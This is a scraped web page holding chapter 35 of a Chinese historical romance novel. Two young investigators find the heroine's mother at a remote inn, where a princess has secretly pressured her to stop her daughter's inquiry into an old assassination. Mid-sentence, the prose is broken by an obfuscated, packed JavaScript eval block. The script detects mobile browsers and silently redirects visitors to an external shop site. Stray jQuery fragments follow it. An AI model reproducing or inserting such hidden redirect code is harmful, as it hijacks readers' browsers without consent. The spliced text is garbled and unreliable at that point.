文趣网 > 其他小说 > 县君她为天命轻描一笔 > 35. 第35章
    三人以袖掩面将弥漫的粉末挥开,再度看向柜台,那男子竟已不知所踪,徒留下他方才折的那支花掉落在地上。

    花瓣被一脚踩碎,沁出汁液黏在木板上,大开的木门随风吱呀作响,一切都十分平静,仿佛刚刚那冷漠的男子只是几人的幻觉。

    邬凌最先反应过来,那男子折花的动作分明与百花杀的对接暗号“我要折一枝花”完全对应,他们光顾着和男子聊天,完全没注意身后上楼的台阶是否有人,男子兴许是在给人打暗号。

    “我去外面看看他往哪跑,燕燕你且上去找祝伯母。”邬凌说道。

    “等等,我去吧,你陪东家上去。”许澄胥叫住他,他看出了二人间今日眼波流转不寻常,应该多给东家制造一点相处机会。

    邬凌本也想陪同商闻缨,许澄胥如此主动让出这个机会反让邬凌意外,看来他对燕燕确无非分之想。

    许澄胥想那男子便是速度再快,也不可能在这样短的时间内跑出多远,若到高处或许能看见他的动向。

    时间不等人,许澄胥快步至门外,越上门外马厩棚顶,又借力回身上了客栈二层屋檐。

    商闻缨则快步上楼,邬凌紧随其后,既然这客栈小厮是百花杀的人,那百花杀领头者今夜必在此处,花宥没有骗他们。

    只是不知他们刚才在楼下与男子对话有没有惊动到领头者,会不会就在那间屋子里埋伏他们,守株待兔。

    可澄明阁眼线又确认祝无忧来了此处,若不能尽快找到,商闻缨的心始终悬在半空。

    这舒尔客栈奇怪之处众多,也不像有别的客人入住,商闻缨喊道:“阿母,你在这里吗?”

    她干脆用了最直接的办法,主动出声呼唤,若是那领头者真的是约阿母前来此处的人,听见了她这个想要杀的人,想必会挟持阿母,主动现身与她对峙。

    若是领头者已经趁他们不注意和柜台男子逃走了,此举恰好能更快得到回应,找到阿母。

    邬凌也明白了她的意图,一同帮忙找人:“祝伯母,你能听到吗?”

    须臾过后,祝无忧惊魂未定的从一间房内走出,与商闻缨对望。

    “阿母,你怎么一声不吭就到这种地方来?”商闻缨关心则乱,不明白阿母到底怎么想的,语气中有些责怪。

    “此处毗邻郊野,素来没什么百姓路过,只有些山匪会在此落脚,伯母何故来此?”邬凌对这舒尔客栈也只是略有了解,还是年少时赵鸢告诉他的,这回也只是第一次来。

    祝无忧的思绪回到两刻钟前,她还在客房内与长公主秦洛对酌,喝的是不怎么烈的清酒。

    “想当年,本宫和你还有赵鸢,就是在这里认识的,转眼间,竟然过了二十六年。”秦洛轻晃着琉璃酒盏,酒液回转,一晃经年。

    “殿下传信给民妇,想来不是为了重温旧情,若是殿下肯帮我救燕燕,我什么都可以为殿下做。”祝无忧最是知道秦洛的性子,要想她出手,条件绝不可能是要和当年反目的她重归于好这么简单。

    “你如今倒是直白,若是当年你和赵鸢不把本宫一人蒙在鼓里,你我之间又何至于此?”

    “民妇微贱,不敢与殿下为友,恳请殿下施以援手。”祝无忧起身跪下,伏在地上给秦洛重重磕了一个响头。

    “行了,收起你那老好人的姿态,本宫最讨厌的……就是你这幅谁都对不起你的模样,你可知你的女儿一点也不安分?”

    祝无忧身体微僵,跪坐在地上:“民妇知错了,还请殿下明示燕燕冒犯之处。”

    “你明明知道本宫恨不得赵鸢这个名字被所有人遗忘,而你的女儿近来却在帮她的儿子查当年刺客之事,你说,这是不是在打本宫的脸?”

    当初将军府遭刺客一事被皇帝全权交给秦洛调查,最后草草结案,这件事在祝无忧看来,恐怕只是因秦洛恨赵鸢,所以才不肯深查。

    “此事我的确不知,燕燕当年也还小,不清楚此案是殿下负责,想来是近来与少将军走的近了些,这才惹殿下生疑。”

    “你倒是相信她,看着吧,等会她就会和邬凌一同出现在此处,你就知道本宫说的没错,”秦洛轻蔑道,“规矩都是皇室定的,要想本宫帮你留她在北国很简单,只要你让她别再插手此事即可,否则本宫可不保证会不会让她做第一个献给南国皇帝的美人祭。”

    “好,也希望殿下说到做到。”祝无忧爽快答应了,这件事相比于拿到将军府的婚书,想来容易许多,燕燕一向听她的话,定不会逆反。

    “不要让任何人知道你见过本宫,不然她的下场也不会有任何改变。”

    秦洛听了眼线的汇报,丢下祝无忧便提前离开,一切都在她的计划掌控之中。

    她本来也没想上次派去杀商闻缨的杀手真的得手,只是借此事故意想引商闻缨去黑市,没想到花宥居然敢背着她处理了手下,还好她提前派了人盯着他。

    看来花宥的忠心耿耿都是装的,这样好的棋子,秦洛可没打算立马除去,故意向他透露今晚自己要来舒尔客栈。

    另外两位中间人今夜她都安排了任务,商闻缨与邬凌去了百花杀,只会见到花宥,只要他泄露了消息,必会摸来此处。

    在秦洛看来,让祝无忧这个母亲亲自去劝自己的女儿放弃追寻真相,沦为皇权下的附庸,想必更有意思吧。

    祝无忧想起在屋内秦洛对她说的话,见二人真的来了,强隐去不安,故作轻松道:“我没事,只是来这里散散心。”

    “这客栈人迹罕至,只怕徒生心烦,阿母莫要骗我,可是有人约你来此?”

    “无人相邀,我只是想起了赵鸢,我们当初就是在此地相识,这才想来缅怀她。”

    商闻缨向屋子里看去,里面确实没有第二人存在的痕迹,就连桌上的琉璃盏也只有一人的,不过如此荒芜的客栈怎会有如此名贵的酒盏?

    “伯母,你不必太悲伤,我和燕燕已经探得些

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666688|206049||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    许当年刺客之事的真相,想来不日便会水落石出,必不会姑息背后之人。”邬凌义正言辞道。

    祝无忧再次坐实了心中猜想,怪不得秦洛如此生气:“所以你们今日来这里,就是为了调查这件事?”

    “没错,我们怀疑此事和一个偌大的杀手组织有关,他们害人无数,难免会威胁北国社稷。”商闻缨细声解释道。

    “糊涂啊,这件事都过去多少年了,岂是你们这些小辈该插手的?你们要翻案那可是在打陛下的脸,当年可是陛下亲自盖印结案的。”祝无忧深深叹了口气,过尽千帆她只希望女儿不要卷入政斗漩涡,平平安安过一生。

    邬凌听了顿感失望,父亲身为母亲的妻子不愿追究,祝伯母身为挚友一样坐视不理,难道除了他和燕燕,就没有一个人真心对待阿母吗?

    “伯母,你也是这样认为吗?当年结案如此草率,明显有幕后黑手,我还以为你和我阿母关系要好,内心正直,会支持我们还天下清明。”

    “我只有燕燕一个孩子,阿鸢也只有你,若是她泉下有知,定不愿让你们冒险。”祝无忧知道邬凌孝顺,不愿善罢甘休,可此刻她不得不劝说两人放弃追查。

    商闻缨抿了抿嘴,今日阿母的状态明显有些不对,那百花杀的人又怎么可能无缘无故出现在柜台,可阿母又不愿说出与她相会之人,反倒劝说起他们,实在是蹊跷。

    “我明白阿母所想,此事容后再议,现在已经丑时了,阿母且随我们回府吧。”商闻缨觉得此处不宜久待,还需先回到府内安全之处,改日再与邬凌商议。

    邬凌自然也怀疑百花杀领头者就是约祝无忧相见之人,但此刻没有任何证据,贸然逼问只会打草惊蛇,这领头者没有绑祝无忧要挟他们,祝无忧也没有暴露她的身份,实在是匪夷所思。

    气氛凝滞,商闻缨拉着祝无忧下楼,邬凌则给了商闻缨一个眼神,表示要先留下检查屋内是否异样,让二人先行离开。

    确认祝无忧已经离开客栈,邬凌才进了她呆的客房,那岸上还放着有余温的清酒,一把琉璃壶和一尊琉璃盏,这都不是寻常人家能用的,出现在这样平凡的客栈只会是高门之人带来的。

    那百花杀敢在天子脚下为非作歹,想来必有权力极大的人庇护,能用上这琉璃盏合乎情理。

    此人行事周密,带走了自己用的那个杯子,却又很傲慢,把这昂贵的器皿留下部分,像是在对他们炫耀自己的谋划。

    邬凌四处翻找,再无所获,只好先行下楼,到了门口后,商闻缨和祝无忧已经离开,许澄胥居然还在屋顶。

    “你怎么不送他们一块走?”邬凌有些不解,抬头对他道。

    许澄胥一个闪身落地道:“你可是黑市外头唯一一个知道她是我的东家的人,我贸然下去被东家母亲看见,这不是找骂吗?我可不能给东家添乱。”

    邬凌听见“唯一”二字,唇角微扬,对他道:“那你刚才可有看见什么人影?”